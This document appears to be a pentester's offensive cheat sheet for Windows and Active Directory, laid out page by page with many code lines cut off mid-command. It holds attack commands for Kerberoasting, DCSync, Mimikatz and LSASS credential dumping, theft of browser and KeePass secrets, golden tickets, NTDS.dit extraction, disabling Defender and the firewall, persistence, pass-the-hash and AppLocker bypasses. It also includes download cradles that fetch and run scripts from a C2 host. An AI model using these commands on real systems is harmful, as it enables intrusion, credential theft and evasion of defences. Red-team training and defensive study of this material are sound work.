
```
#Check my Blog Post Kerberos Attacks in Depth for Further Inform
#https://m0chan.github.io/Kerberos-Attacks-In-Depth

Get-DomainSPNTicket -Credential $cred -OutputFormat hashcat

because Hashcat over John anyday right?

Invoke-Kerberoast.ps1

python GetUserSPNs.py -request -dc-ip 10.10.14.15 m0chanad.local

Ofc the above requires access to Port 88 on the DC but you can a

https://github.com/GhostPack/SharpRoast --NOW Deprecated-- and i
```

Kerberoast with Python

Aidan Preston

Penetration Tester


```
#https://github.com/skelsec/kerberoast


IMPORTANT: the accepted formats are the following
<ldap_connection_string> : <domainname>/<username>/<secret_type>
<kerberos_connection_string>: <kerberos realm>/<username>/<secre



Look for vulnerable users via LDAP
kerberoast ldap all <ldap_connection_string> -o ldapenum

Use ASREP roast against users in the ldapenum_asrep_users.txt fi
kerberoast asreproast <DC_ip> -t ldapenum_asrep_users.txt

Use SPN roast against users in the ldapenum_spn_users.txt file
kerberoast spnroast <kerberos_connection_string> -t ldapenum_spn
```

AS Rep Roasting

```
#Accounts have to have DONT_REQ_PREAUTH explicitly set for them

Get-ASRepHash -Domain m0chanAD.local -User victim

Can also use Rebeus (Reflectively Load .NET Assembly.)

.\Rubeus.exe asreproast
```

Aidan Preston

Penetration Tester


```
#Special rights are required to run DCSync. Any member of Admini

#and anyone with the Replicating Changes permissions set to Allo

mimikatz # lsadump::dcsync /domain:corp.local /user:Administrato

powershell.exe -Version 2 -Exec Bypass /c "IEX (New-Object Net.W


Empire Module: powershell/credentials/mimikatz/dcsync_hashdump
```

DCSync (Also Post Exploit)

Post Exploitation

Useful Commands

```
net user m0chan /add /domain
net localgroup Administrators m0chan /add

# Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Ter
```

Aidan Preston

Penetration Tester


```
Turn firewall off
netsh firewall set opmode disable

Or like this
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Ter

If you get this error:

CredSSP Error Fix ->

Add this reg key:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Ter

Disable Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true
```

Esenutl.exe Dump Locked File

```
C:\WINDOWS\system32\esentutl.exe /y <SOURCE> /vss /d <DEST>


Can be useful where you want to dump SAM and (or) SYSTEM but the
```

Check if Powershell Logging is Enabled

```
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Sc
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Tr
```

Run Seatbelt (ABSOLUTELY MUST)

Aidan Preston

Penetration Tester


```
#https://github.com/GhostPack/Seatbelt

This is stupidily good, it can literally Enum everything you req

BasicOSInfo             -   Basic OS info (i.e. architecture, OS v
RebootSchedule          -   Reboot schedule (last 15 days) based o
TokenGroupPrivs         -   Current process/token privileges (e.g.
UACSystemPolicies       -   UAC system policies via the registry
PowerShellSettings      -   PowerShell versions and security setti
AuditSettings           -   Audit settings via the registry
WEFSettings             -   Windows Event Forwarding (WEF) setting
LSASettings             -   LSA settings (including auth packages)
UserEnvVariables        -   Current user environment variables
SystemEnvVariables      -   Current system environment variables
UserFolders             -   Folders in C:\Users\
NonstandardServices     -   Services with file info company names
InternetSettings        -   Internet settings including proxy conf
LapsSettings            -   LAPS settings, if installed
LocalGroupMembers       -   Members of local admins, RDP, and DCOM
MappedDrives            -   Mapped drives
RDPSessions             -   Current incoming RDP sessions
WMIMappedDrives         -   Mapped drives via WMI
```

Aidan Preston

Penetration Tester


```
NetworkShares          -   Network shares
FirewallRules          -   Deny firewall rules, "full" dumps all
AntiVirusWMI           -   Registered antivirus (via WMI)
InterestingProcesses   -   "Interesting" processes- defensive pro
RegistryAutoRuns       -   Registry autoruns
RegistryAutoLogon      -   Registry autologon information
DNSCache               -   DNS cache entries (via WMI)
ARPTable               -   Lists the current ARP table and adapte
AllTcpConnections      -   Lists current TCP connections and asso
AllUdpConnections      -   Lists current UDP connections and asso
NonstandardProcesses   -   Running processeswith file info compan
  *  If the user is in high integrity, the following additional
SysmonConfig           -   Sysmon configuration from the registry

And more!!
```

Dump Creds

```
(new-object System.Net.WebClient).DownloadString('http://10.10.1

Can also run Mimikatz.exe after some AV Evasion removing strings

mimikatz.exe
privlege::debug
sekurlsa::logonPasswords full

The safer method is to dump the process memory of LSASS.exe with
```

Aidan Preston

Penetration Tester


```
(https://github.com/3xpl01tc0d3r/Minidump)

(or) https://github.com/GhostPack/SharpDump

and send the .bin to Mimikatz locally.

sekurlsa::minidump C:\users\m0chan\lssas.dmp

Can also be used for dumping and pass the ticket attacks but wil

Mimikatz Guide

#Logon Sessions

sekurlsa::logonPasswords all

#Dump Cache

lsadump::cache

#Dump SAM

lsadump::sam
```

Dump Creds #2

Aidan Preston

Penetration Tester


```
#https://github.com/AlessandroZ/LaZagne

laZagne.exe all
laZagne.exe browsers
laZagne.exe browsers -firefox
```

SessionGopher

```
#https://github.com/Arvanaghi/SessionGopher

Quietly digging up saved session information for PuTTY, WinSCP,

SessionGopher is a PowerShell tool that finds and decrypts saved

Invoke-SessionGopher -Thorough

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s
```

Dump Chrome Passwords (Also Post Exploit)

Aidan Preston

Penetration Tester


```
#git clone https://github.com/rasta-mouse/CookieMonster

CookieMonster creds
CookieMonster.exe cookies -d [domain] -e
CookieMonster -a

Must be run in the context of the target users as chrome passwor

Can also use Mimikatz for this.

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google

mimikatz dpapi::chrome /in:"C:\Users\m0chan\AppData\Local\Google
```

Dump Process Memory w/ Mimikittenz

```
#https://github.com/putterpanda/mimikittenz

mimikittenz is a post-exploitation powershell tool that utilizes

The aim of mimikittenz is to provide user-level (non-admin privi

Invoke-Mimikittenz
```

Aidan Preston

Penetration Tester

Dump KeePass

```
#https://github.com/HarmJ0y/KeeThief
#http://www.harmj0y.net/blog/redteaming/keethief-a-case-study-in

Get-Process keepass
tasklist | findstr keepass

Attacking KeePass

#https://raw.githubusercontent.com/HarmJ0y/KeeThief/master/Power
Import-Module KeeThief.ps1
Get-KeePassDatabaseKey -Verbose

KeeTheft.exe, Microsoft.Diagnostics.Runtime.dll & KeePatched.exe
```

pypykatz

```
#https://github.com/skelsec/pypykatz

Full python implementation of Mimikatz :D

pip3 install pypykatz
```

SafetyKatz

Aidan Preston

Penetration Tester


```
#https://github.com/GhostPack/SafetyKatz

Full C Sharp Implemenatation of Mimikatz that can be reflectivel

"SafetyKatz is a combination of slightly modified version of @ge

First, the MiniDumpWriteDump Win32 API call is used to create a
```

SharpDPAPI

```
#https://github.com/GhostPack/SharpDPAPI

Full C Sharp Implementation of Mimikatzs DPAPI features which al
```

SharpSniper

```
#https://github.com/HunnicCyber/SharpSniper

Often a Red Team engagement is more than just achieving Domain A

SharpSniper is a simple tool to find the IP address of these use

C:\> SharpSniper.exe emusk DomainAdminUser DAPass123
```

Aidan Preston

Penetration Tester


```
User: emusk - IP Address: 192.168.37.130
```

SharpLocker

```
#https://github.com/Pickfordmatt/SharpLocker

SharpLocker helps get current user credentials by popping a fake
```

Check for Missing KB's

```
watson.exe
Sherlock.ps1

Use Watson.exe Assembly and reflectively load .NET Assembly into

More at the bottom re. Reflectively Loading stuff. (Also does no

https://github.com/rasta-mouse/Watson
```

Decrypt EFS Files with Mimikatz if Admin/System

Aidan Preston

Penetration Tester


```
#https://github.com/gentilkiwi/mimikatz/wiki/howto-~~-decrypt-EFS

cipher /c "d:\Users\Gentil Kiwi\Documents\m0chan.txt" - View if

privilege::debug
token::elevate
crypto::system /file:"D:\Users\Gentil Kiwi\AppData\Roaming\Micro

dpapi::capi /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\

dpapi::masterkey /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Micro

dpapi::capi /in:"D:\Users\Gentil Kiwi\AppData\Roaming\Microsoft\

openssl x509 -inform DER -outform PEM -in B53C6DE283C00203587A03

openssl rsa -inform PVK -outform PEM -in raw_exchange_capi_0_ffb

openssl pkcs12 -in public.pem -inkey private.pem -password pass:

certutil -user -p mimikatz -importpfx cert.pfx NoChain,NoRoot
```

UAC Bypass

```
https://egre55.github.io/system-properties-uac-bypass/ - Read Gh

findstr /C:"<autoElevate>true"
```

```
C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
C:\Windows\SysWOW64\SystemPropertiesComputerName.exe
C:\Windows\SysWOW64\SystemPropertiesHardware.exe
C:\Windows\SysWOW64\SystemPropertiesProtection.exe
C:\Windows\SysWOW64\SystemPropertiesRemote.exe
```

Aidan Preston

Penetration Tester

Golden Ticket Attack

```
#Check my Blog Post Kerberos Attacks in Depth for Further Inform
#https://m0chan.github.io/Kerberos-Attacks-In-Depth

# To generate the TGT with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_si

# To generate the TGT with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_si

# To generate the TGT with AES 256 key (more secure encryption,
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_si

# Inject TGT with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>


#Inject Ticket with Rebeus
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
```

Aidan Preston

Penetration Tester


```
.\PsExec.exe -accepteula \\<remote_hostname> cmd
```

DCSync & Golden Ticket in One

```
#https://raw.githubusercontent.com/vletoux/MakeMeEnterpriseAdmin

This script will abuse DCSync privileges to extract the krbtgt p

You can then add yourself into the Domain Admins / Enterprise Ad

.\MakeMeEnterpriseAdmin.ps1
```

Child Domain to Forest Compromise

```
Domain = Logical group of objects (users, computers, servers etc

Tree = Set of domains using same name space (DNS Name)

Trust = Agreement between 2 domains that allow cross-domain acce

Forest = Largest Structure composed of all trees.

Most trees are linked with dual sided trust relationships to all
```

Aidan Preston

Penetration Tester


```
By default the first domain created if the Forest Root.

Lets say we have owned a domain controller and got the KRBTGT Ha

Covert-NameToSid target.domain.com\krbtgt
S-1-5-21-2941561648-383941485-1389968811-502

Replace 502 with 519 to represent Enterprise Admins

Create golden ticket and attack parent domain.


This will not work if there is SID Filtering in place for respec

harmj0ys article explains it best.

#http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-dom
```

Dump NTDS.dit

```
C:\vssadmin create shadow /for=C:
copy \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows
.
copy \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows
```

Aidan Preston

Penetration Tester


```
.
copy \\?
\GLOBALROOT\Device\HarddiskVolumeShadowCopy[DISK_NUMBER]\windows
.
reg SAVE HKLM\SYSTEM c:\SYS
vssadmin delete shadows /for= [/oldest | /all | /shadow=]


If you pwn a BackupOperator account with SeBackupPrivilege you c
```

SeBackupPrivlege - Dump NTDS.dit

```
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll

PS C:\m0chan> Get-SeBackupPrivilege
SeBackupPrivilege is disabled

PS C:\m0chan> Set-SeBackupPrivilege

PS C:\m0chan> Get-SeBackupPrivilege
SeBackupPrivilege is enabled

PS C:\m0chan> Copy-FileSeBackupPrivilege P:\Windows\System32\ntd
Copied 12582912 bytes

Use diskshadow to mount a shadow copy and then copy Windows\syst
```

Aidan Preston

Penetration Tester


```
Remember and not use C:\Windows\ntds\ntds.dit

reg.exe save hklm\system c:\m0chan\SYSTEM.bak
```

Persistance

SSH Shuttle

```
./run -r root@10.10.110.123 172.16.1.0/24 -e "ssh -i Root.key"
```

SharPersist

```
#https://github.com/fireeye/SharPersist

C# Libary Designed by FireEye to aid with Persistance using vari

KeePass Backdoor
Reg Key
Sch Task Backdoor
Startup Folder (Link File)
Service Backdoor

See there github linked above for full Syntax, very cool work
```

Aidan Preston

Penetration Tester

SharpDoor

```
#https://github.com/infosecn1nja/SharpDoor.git

SharpDoor is alternative RDPWrap written in C# to allowed multip

execute-assembly /root/Toolkits/SharpBinaries/SharpDoor.exe
```

AutoRun Registry

```
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Ru
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Ru
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Ru
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Ru
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\
```

Run & Run Once

```
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVe
/t REG_SZ /d "C:\Temp\SoftwareUpdate\Malware.exe"
```

Scheduled Tasks

Aidan Preston

Penetration Tester


```
#Note - Beaware. some EDR/Endpoint Solutions detect Scheduled Ta

schtasks /create /sc minute /mo 1 /tn "Malware" /tr C:\Temp\Soft

This will run Malware.exe every minute forever.

# Run Malware.exe every day at 06:00am
schtasks /create /tn "SoftwareUpdate" /tr C:\Temp\SoftwareUpdate

# Runs a task each time the user's session is idle for 5 minutes
schtasks /create /tn "SoftwareUpdate" /tr C:\Temp\SoftwareUpdate

# Runs a a task as SYSTEM when User Logs in.
schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "SoftwareU
```

Windows Startup Folder

```
This has been around for years as basically every version of Win

Windows 10 - C:\ProgramData\Microsoft\Windows\Start Menu\Program
```

```
Current User Startup - C:\Users\Username\AppData\Roaming\Microso
```

EXE/DLL Hijacking

```
Look for any missing DLL's or EXE's that common programs are cal

Also if you are localadmin/system you could provide over write a
```

Aidan Preston

Penetration Tester

Add User Account

```
net user m0chan /add /domain
net group "Domain Admins" m0chan /add /domain
net localgroup "Administrators" /add
net user m0chan /domain /comment:"Your Blueteam Fucking Sucks"
```

Persistence with Kerberos

```
We can dump Kerberos tickets and inject them in session when dee

They can be injected into session with mimikatz or Rebeus.
```

Aidan Preston

Penetration Tester


```
But let's say we have pwned a DC and got the KRBTGT Hash we can

kerberos::golden /user:utilisateur /domain:chocolate.local /sid:

SID is the domain SID

Inject Ticket

kerberos::ptt Administrateur@krbtgt-CHOCOLATE.LOCAL.kirbi

Can also inject kirbi with Rebeus
```

Lateral Movement

Plink

```
plink.exe -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRES

#Windows 1803 Built in SSH Client (By Default)

ssh -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS
```

Powershell Port Forward

Aidan Preston

Penetration Tester


```
netsh interface portproxy add v4tov4 listenport=fromport listena

Permanent ^^

Requires iphlpsvc service to be enabled

fromport: the port number to listen on, e.g. 80
fromip: the ip address to listen on, e.g. 192.168.1.1
toport: the port number to forward to
toip: the ip address to forward to
```

Invoke-SocksProxy

```
#https://github.com/p3nt4/Invoke-SocksProxy/

Local Socks4 Proxy on 1080

Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -bindPort 1080


Reverse Socks Proxy on Remote Machine Port 1080

# On the remote host:
# Generate a private key and self signed cert
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout priv
```

Aidan Preston

Penetration Tester


```
# Get the certificate fingerprint to verify it:
openssl x509 -in cert.pem -noout -sha1 -fingerprint | cut -d "="

# Start the handler
python ReverseSocksProxyHandler.py 443 1080 ./cert.pem ./private

# On the local host:
Import-Module .\Invoke-SocksProxy.psm1
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.

# Go through the system proxy:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.

# Validate certificate
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.
```

Socat for Windows

```
#https://github.com/StudioEtrange/socat-windows

Generate SSL Cert for Encryption
openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout ce

Server : socat OPENSSL-LISTEN:443,cert=/cert.pem -
Client : socat - OPENSSL:localhost:443
```

Aidan Preston

Penetration Tester


```
#Port Forward

socat OPENSSL-LISTEN:443,cert=/cert.pem,fork TCP:202.54.1.5:443

All SSL Connections will be redirected to 202.54.1.5:443

#Non SSL Port Forward
socat TCP-LISTEN:80,fork TCP:202.54.1.5:80
```

SharpExec

```
#https://github.com/anthemtotheego/SharpExec

C# Implementation of Conventional Lateral Movement Techniques, s

-WMIExec - Semi-Interactive shell that runs as the user. Best de

-SMBExec - Semi-Interactive shell that runs as NT Authority\Syst

-PSExec (like functionality) - Gives the operator the ability to

-WMI - Gives the operator the ability to execute remote commands
```

Secure Sockets Funneling

Aidan Preston

Penetration Tester


```
#https://0xdf.gitlab.io/2019/01/28/tunneling-with-chisel-and-ssf
#git clone https://github.com/securesocketfunneling/ssf.git

Massive shout out to 0xdf for explaining this perfectly in his a
```

Chisel (Fast TCP Tunnel over HTTP secured by SSH)

```
#https://0xdf.gitlab.io/2019/01/28/tunneling-with-chisel-and-ssf
```

CrackMapExec

```
#https://www.ivoidwarranties.tech/posts/pentesting-tuts/cme/crac
```

WMIC Spawn Process

```
wmic /node:WS02 /user:DOMAIN\m0chan /password:m0chan process cal
```

WinRS

Aidan Preston

Penetration Tester


```
#https://docs.microsoft.com/en-us/windows-server/administration/

winrs [/<parameter>[:<value>]] <command>

winrs /r:https://contoso.com command

winrs /r:http://[1080:0:0:0:8:800:200C:417A]:80 command

winrs /r:myserver /ad /u:administrator /p:$%fgh7 dir \\anotherse
```

Invoke-WMIExec.ps1

```
Invoke-WMIExec -Target 10.10.14.14 -Username rweston_da -Hash 3f
7b832fa -Command "net user user pass /add /domain"

PS C:\users\user\Downloads> Invoke-WMIExec -Target 10.10.120.1 -
7b832fa -Command "net group ""Domain Admins"" m0chan /add /domai
```

Powershell Invoke-Command (Requires Port 5985)

```
$secpasswd = ConvertTo-SecureString 'pass' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('m0

Invoke-Command -ComputerName FS01 -Credential $cred -ScriptBlock
```

Aidan Preston

Penetration Tester

PSExec

```
psexec.exe \\dc01.m0chanAD.local cmd.exe
```

Powershell Remoting

```
$secpasswd = ConvertTo-SecureString 'password' -AsPlainText -For
$cred = New-Object System.Management.Automation.PSCredential('WS

$Session = New-PSSession -ComputerName FileServer -Credential $c
Enter-PSSession $Session
```

Configure Remote Service over SMB (Requires Local Admin on Target Machine)

```
net use \\192.168.0.15 [password] /u:DOMAIN\m0chan

sc \\192.168.0.15 create <service_name> binpath= "cmd.exe /k COM
sc \\192.168.0.15 create <service_name> binpath= "cmd.exe /k <c:
sc \\192.168.0.15 start <service_name>
```

Pass-The-Hash

Aidan Preston

Penetration Tester


```
crackmapexec <ip> -u <user> -H "<lm>" -x "<msfvenom psh-cmd>"

impacket-wmiexec <user>@<ip> -hashes <lm:nt>

pth-winexe -U <user>%<ntlm> //<ip> "<msfvenom psh-cmd>"

python wmiexec.py -hashes :<hash> <user>@<ip>

xfreerdp /u:<user> /d:<domain> /pth:<ntlm> /v:<ip>:3389 /dynamic

sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm
```

Pass-The-Ticket

```
#Check my Blog Post Kerberos Attacks in Depth for Further Inform

Rebeus monitor /interval:30

Monitoring logon sessions every 30 seconds so I can pinch Kerb t

Reubus will now give you a Kerberos ticket in base64 which you c

Rubeus.exe ptt /ticket:[base64blobhere]

We can now request TGS service tickets to access network resourc
```

Aidan Preston

Penetration Tester

Obfuscation / Evasion Techniques

Invoke-Obfusaction

```
#https://github.com/danielbohannon/Invoke-Obfuscation
```

```
Can obfusacte Scripts & Commands
```

```
Obfusacte script from remote url
```

```
SET SCRIPTPATH https://thisdosentexist.m0chan.com/Invoke-Mimikatz.ps
```

```
Can also set Sscript block base64 PS
```

```
SET SCRIPTBLOCK powershell -enc VwByAGkAdABlAC0ASABvAHMAdAAgACcAWQBv
```

Invoke-CradleCraft

```
#https://github.com/danielbohannon/Invoke-CradleCrafter

Similar to Invoke-Obfusaction but allows you to obfusacte cradle

IEX (New-Object Net.WebClient).DownloadString('http://c2server.c
```

Aidan Preston

Penetration Tester


```
```

Invoke-DOSfuscation

```
#https://github.com/danielbohannon/Invoke-DOSfuscation
```

Unicorn

https://github.com/trustedsec/unicorn

```
unicorn.py Nishang.ps1
```

AppLocker / Constrained Mode Bypasses

Verify If You Are in Constrained Mode

```
$ExecutionContext.SessionState.LanguageMode
```

PowershellVeryLess Bypass

Aidan Preston

Penetration Tester


```
git clone https://github.com/decoder-it/powershellveryless.git


C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /referen
/out:C:\Users\m0chan\Scripts\powershellveryless.exe



C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /referen


Execute -> powershellveryless.exe script.ps1

script.ps1 = Script of your Choice
```

World Writable Folders (By Default on Windows 10 1803)

```
#https://github.com/api0cradle/UltimateAppLockerByPassList/blob/

C:\Windows\Tasks
C:\Windows\Temp
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
```

Aidan Preston

Penetration Tester


```
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
```

Downgrade Attack

```
Downgrading to PS Version 2 circumvates Constrained Mode

powershell.exe -version 2

Verifiy versions with $PSVersionTable
Get-Host
```

AppLocker COR Profile Bypass

```
set COR_ENABLE_PROFILING=1
COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}
set COR_PROFILER_PATH=C:\Users\m0chan\pwn\reverseshell.dll
tzsync
powershell
```

Aidan Preston

Penetration Tester


```
Where .DLL is your payload i/e reverse shell, beacon etc.
```

MSBuild Powershell/CMD Bypass

```
You can use this if cmd is not disabled but powershell is

https://github.com/Cn33liz/MSBuildShell/blob/master/MSBuildShell

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe pshe

Also https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4

MSBuild PSAttack :D :D
```

PSAttack

```
#https://github.com/jaredhaight/PSAttack

Use if Powershell.exe is not available. this does not rely on po

Has numerous modules prebuilt in and is built in C Sharp / .NET
```

Aidan Preston

Penetration Tester

NoPowerShell

```
#https://github.com/bitsadmin/nopowershell

Primiarily to be used with Cobalt & Execute Assembly but can als
```

runDLL32 Bypass

```
#Reference: https://oddvar.moe/2017/12/13/applocker-case-study-h

rundll32.exe is a .exe found on all Windows based systems locate

rundll32 shell32.dll,Control_RunDLL payload.dll

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication <HTML Cod

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";documen

rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eva

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";documen

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";documen
```

Aidan Preston

Penetration Tester

PSByPassCLM

```
#Reference: https://github.com/padovah4ck/PSByPassCLM

This technique might come in handy wherever or whenever you're s
and PowerShell Version 2 engine is not available to perform a Po

Build Binary :

C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Aut


Usage

Open Subshell in Current Console
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe

Open a PS Reverse Shell with Bypass Integrated

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
```